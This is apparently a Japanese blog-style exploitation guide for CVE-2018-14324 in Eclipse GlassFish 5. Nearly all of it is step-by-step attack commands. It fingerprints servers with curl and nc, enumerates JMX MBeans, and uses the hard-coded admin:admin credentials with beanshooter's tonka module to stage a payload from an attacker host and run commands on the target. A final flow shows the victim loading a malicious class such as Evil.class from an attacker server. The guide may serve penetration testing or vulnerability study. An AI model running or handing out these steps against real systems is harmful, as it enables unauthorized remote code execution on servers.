
Eclipse GlassFishのハッキング - CVE-2018-14324
CVE-2018-14324の説明では、この脆弱性の影響を完全には説明していません。要約すると、ハードコードされたadmin:adminの認証情報を介してJava Management Extensions (JMX)にアクセスできるようになります。
影響として「潜在的に機密情報、データベース操作の実行、またはJMX RMIセッションを介したデモの操作」と記載されていますが、JMX RMIセッションを介した操作が何を意味するのかは説明されていません。
CVSSスコアが9.8と高いため調査したところ、javax.management.loading:type=MLet MBeanを介して事実上RCEを達成できることがわかりました。このMBeanはGlassFish 5インスタンスでデフォルトで有効になっています。
GlassFishサーバーをバージョンバナーから列挙します。
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
バージョンが5の場合、CVE-2018-14324の影響を受けます。
次に、JMX RMIサービスがポート7676で実行されているか確認します。
nc <IP_ADDRESS> 7676
JMX RMIサービスへの接続文字列が表示されます。後で使用するためにその文字列を控えておきます。
例えば:
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
ご覧のとおり、接続文字列ではホスト名vm31465が使用されており、8686と7676の2つのポートが記載されています。
vm31465を/etc/hostsファイルに追加し、 IPアドレスを指すようにしてください。Beanshooterを使用する場合は、その必要はありません。
JMXとは何でしょうか?Java Management Extensions (JMX)は、Javaアプリケーションの管理インターフェースを実装できる技術です。Javaアプリケーション用のSNMPと考えてください。
まず、ターゲットシステムで利用可能なMBeanを列挙する必要があります。
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# もし動作しない場合
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
このスクリプトを使用すると、MBeanとその属性および操作のリストを取得できます。
MBean com.sun.management:type=DiagnosticCommandを使用すると、ターゲットJVMで診断コマンドを実行できます。システムプロパティの列挙に使用できます。詳細はDiagnosticCommand.javaを参照してください。
javax.management.loading:type=MLetが見つかれば、ターゲットを悪用できるはずです。このMBeanを使用すると、リモートのJavaクラスをターゲットJVMにロードできます。
ただし、Javaセキュリティマネージャーが任意のコードの実行を妨げる可能性があります。
RCEのための唯一機能するエクスプロイトは、beanshooterのtomkaモジュールでした。独自のエクスプロイトはセキュリティマネージャーによってブロックされました。MLetのロードはまだ機能しましたが、クラスはコードを実行することを許可されませんでした。
Beanshooterのtomkaモジュールを使用してターゲットを悪用します。
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests
## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka
## DEPLOY
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager
## COMMAND EXECUTION
java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
独自のMBeanローダーを作成し、ターゲットがMLetサーバーに接続するかどうかを監視することでデバッグすることもできます。 フローは次のとおりです。
攻撃者 -> 被害者:7776 : javax.management.loading:type=MLet MBeanのルックアップ
攻撃者:8080 <- 被害者:7776 : MLetファイルのリクエスト
攻撃者:8080 -> 被害者:7776 : JavaクラスファイルへのURLを含むMLet (例: http://attacker:8080/Evil.class)
攻撃者:8080 <- 被害者:7776 : Javaクラスファイルのリクエスト
攻撃者:8080 -> 被害者:7776 : Javaクラスファイル
攻撃者 -> 被害者:7776 : ロードされたJavaクラスのメソッド呼び出し (例: Evil.listFiles())